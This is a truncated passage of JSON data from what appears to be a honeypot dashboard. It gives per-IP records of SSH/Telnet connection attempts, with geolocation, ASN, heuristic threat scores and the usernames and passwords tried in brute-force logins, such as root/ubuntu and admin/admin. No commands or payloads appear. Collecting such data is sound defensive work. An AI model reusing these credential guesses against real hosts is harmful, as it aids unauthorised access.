        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T09:02:58.935000+00:00",
        "last_seen_30d": "2026-05-31T09:04:12.787000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "27.215.176.207": {
      "attack_count": 30,
      "first_seen": "2026-05-27T06:53:12.026Z",
      "last_seen": "2026-05-27T06:56:26.380Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T06:53:12.026000+00:00",
        "last_seen_30d": "2026-05-27T06:57:36.237000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "213.183.63.164": {
      "attack_count": 24,
      "first_seen": "2026-05-10T23:58:18.310Z",
      "last_seen": "2026-05-30T03:52:24.422Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Sofia",
      "asn": 56630,
      "as_org": "Melbikomas UAB",
      "threat_score": 42.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:58:18.310000+00:00",
        "last_seen_30d": "2026-05-30T03:53:27.352000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "138.197.163.192": {
      "attack_count": 21,
      "first_seen": "2026-05-13T15:51:51.022Z",
      "last_seen": "2026-05-13T15:54:59.578Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T15:51:51.022000+00:00",
        "last_seen_30d": "2026-05-13T15:56:02.329000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 10
      }
    },
    "194.233.64.34": {
      "attack_count": 20,
      "first_seen": "2026-05-11T12:55:13.895Z",
      "last_seen": "2026-05-11T19:52:44.791Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:55:13.895000+00:00",
        "last_seen_30d": "2026-05-11T19:53:51.499000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 20
      }
    },
    "179.145.134.159": {
      "attack_count": 18,
      "first_seen": "2026-05-18T23:07:28.425Z",
      "last_seen": "2026-05-19T05:06:01.738Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Belo Horizonte",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:07:28.425000+00:00",
        "last_seen_30d": "2026-05-19T05:07:02.533000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 9
      }
    },
    "195.123.210.209": {
      "attack_count": 12,
      "first_seen": "2026-05-07T18:55:50.129Z",
      "last_seen": "2026-05-24T00:51:06.004Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Riga",
      "asn": 50979,
      "as_org": "Green Floid LLC",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T18:45:56.782000+00:00",
        "last_seen_30d": "2026-05-24T00:52:15.373000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 12
      }
    },
    "92.118.39.23": {
      "attack_count": 12,
      "first_seen": "2026-05-03T01:02:37.192Z",
      "last_seen": "2026-05-14T13:04:06.680Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:02:37.192000+00:00",
        "last_seen_30d": "2026-05-14T13:05:09.831000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "181.35.141.32": {
      "attack_count": 10,
      "first_seen": "2026-05-20T07:56:27.712Z",
      "last_seen": "2026-05-20T11:41:11.583Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:56:27.712000+00:00",
        "last_seen_30d": "2026-05-20T11:42:17.094000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "192.210.151.24": {
      "attack_count": 10,
      "first_seen": "2026-05-11T23:47:22.255Z",
      "last_seen": "2026-05-12T00:05:42.716Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:14:01.079000+00:00",
        "last_seen_30d": "2026-05-12T00:20:22.313000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 173,
        "Cowrie": 10
      }
    },
    "85.117.36.2": {
      "attack_count": 8,
      "first_seen": "2026-05-16T10:40:43.697Z",
      "last_seen": "2026-05-16T10:44:13.676Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Georgia",
      "country_code": "GE",
      "city": "Tbilisi",
      "asn": 20771,
      "as_org": "Caucasus Online Ltd.",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T10:40:43.697000+00:00",
        "last_seen_30d": "2026-05-16T10:49:18.089000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 8
      }
    },
    "176.65.132.215": {
      "attack_count": 7,
      "first_seen": "2026-05-14T10:17:13.025Z",
      "last_seen": "2026-05-14T10:17:16.201Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "qwer1234!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:17:13.025000+00:00",
        "last_seen_30d": "2026-05-14T10:18:24.024000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "103.91.66.229": {
      "attack_count": 6,
      "first_seen": "2026-05-09T22:44:18.657Z",
      "last_seen": "2026-05-09T22:44:24.473Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 55720,
      "as_org": "Gigabit Hosting Sdn Bhd",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:44:18.657000+00:00",
        "last_seen_30d": "2026-05-09T22:45:31.770000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "205.237.106.5": {
      "attack_count": 6,
      "first_seen": "2026-05-10T06:01:50.137Z",
      "last_seen": "2026-05-10T06:01:58.071Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 3920,
      "as_org": "PUSHPKT OU",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:01:50.137000+00:00",
        "last_seen_30d": "2026-05-10T06:03:00.269000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "192.42.116.56": {
      "attack_count": 5,
      "first_seen": "2026-05-18T01:00:05.686Z",
      "last_seen": "2026-05-18T01:00:17.182Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "ItsemoemoWashere2023support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T01:00:05.686000+00:00",
        "last_seen_30d": "2026-05-18T01:01:21.957000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "85.217.149.22": {
      "attack_count": 5,
      "first_seen": "2026-05-20T01:18:27.700Z",
      "last_seen": "2026-05-20T01:18:27.957Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1112,
        "days_active_30d": 30,
        "ports_targeted_30d": 515,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T01:37:17.269000+00:00",
        "last_seen_30d": "2026-05-31T05:23:25.245000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 667,
        "Honeytrap": 438,
        "Cowrie": 5,
        "Adbhoney": 2
      }
    },
    "140.249.200.169": {
      "attack_count": 4,
      "first_seen": "2026-05-08T05:41:23.905Z",
      "last_seen": "2026-05-08T05:41:39.404Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58541,
      "as_org": "Qingdao,266000",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:41:23.905000+00:00",
        "last_seen_30d": "2026-05-08T05:42:41.756000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "165.227.180.176": {
      "attack_count": 4,
      "first_seen": "2026-05-24T21:15:04.242Z",
      "last_seen": "2026-05-24T21:15:12.236Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T21:14:59+00:00",
        "last_seen_30d": "2026-05-24T21:16:14.121000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "175.172.113.53": {
      "attack_count": 4,
      "first_seen": "2026-05-15T04:16:20.766Z",
      "last_seen": "2026-05-15T20:59:10.053Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenyang",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:16:20.766000+00:00",
        "last_seen_30d": "2026-05-15T21:00:19.738000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "181.17.199.23": {
      "attack_count": 4,
      "first_seen": "2026-05-21T07:47:30.960Z",
      "last_seen": "2026-05-21T08:06:36.834Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:47:30.960000+00:00",
        "last_seen_30d": "2026-05-21T08:07:38.567000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "181.230.115.156": {
      "attack_count": 4,
      "first_seen": "2026-05-24T15:04:12.479Z",
      "last_seen": "2026-05-24T15:08:17.148Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T14:55:48.213000+00:00",
        "last_seen_30d": "2026-05-24T15:10:03.215000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "58.208.151.213": {
      "attack_count": 4,
      "first_seen": "2026-05-23T02:59:34.931Z",
      "last_seen": "2026-05-23T03:00:25.586Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T02:59:34.931000+00:00",
        "last_seen_30d": "2026-05-23T03:01:34.133000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "43.167.198.92": {
      "attack_count": 3,
      "first_seen": "2026-05-13T01:28:47.400Z",
      "last_seen": "2026-05-13T01:29:49.764Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T01:28:47.400000+00:00",
        "last_seen_30d": "2026-05-15T07:58:48.079000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "91.230.168.206": {
      "attack_count": 3,
      "first_seen": "2026-05-12T18:44:42.601Z",
      "last_seen": "2026-05-12T18:44:42.603Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 54.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.6,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 22,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T22:20:43+00:00",
        "last_seen_30d": "2026-05-23T22:07:11.078000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 11,
        "Cowrie": 3,
        "Sentrypeer": 1
      }
    },
    "103.31.233.213": {
      "attack_count": 2,
      "first_seen": "2026-05-12T11:27:47.144Z",
      "last_seen": "2026-05-12T11:27:59.670Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 55701,
      "as_org": "PT. Usaha Adisanggoro",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:27:47.144000+00:00",
        "last_seen_30d": "2026-05-12T11:29:02.502000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.227.58.90": {
      "attack_count": 2,
      "first_seen": "2026-05-08T04:46:01.348Z",
      "last_seen": "2026-05-08T04:46:14.818Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Indore",
      "asn": 45609,
      "as_org": "Bharti Airtel Ltd. AS for GPRS Service",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:46:01.348000+00:00",
        "last_seen_30d": "2026-05-08T04:47:21.455000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.218.144.87": {
      "attack_count": 2,
      "first_seen": "2026-05-22T14:18:18.578Z",
      "last_seen": "2026-05-22T14:18:30.741Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:18:18.578000+00:00",
        "last_seen_30d": "2026-05-22T14:19:32.124000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.236.247.197": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:46:34.644Z",
      "last_seen": "2026-05-23T08:47:05.273Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
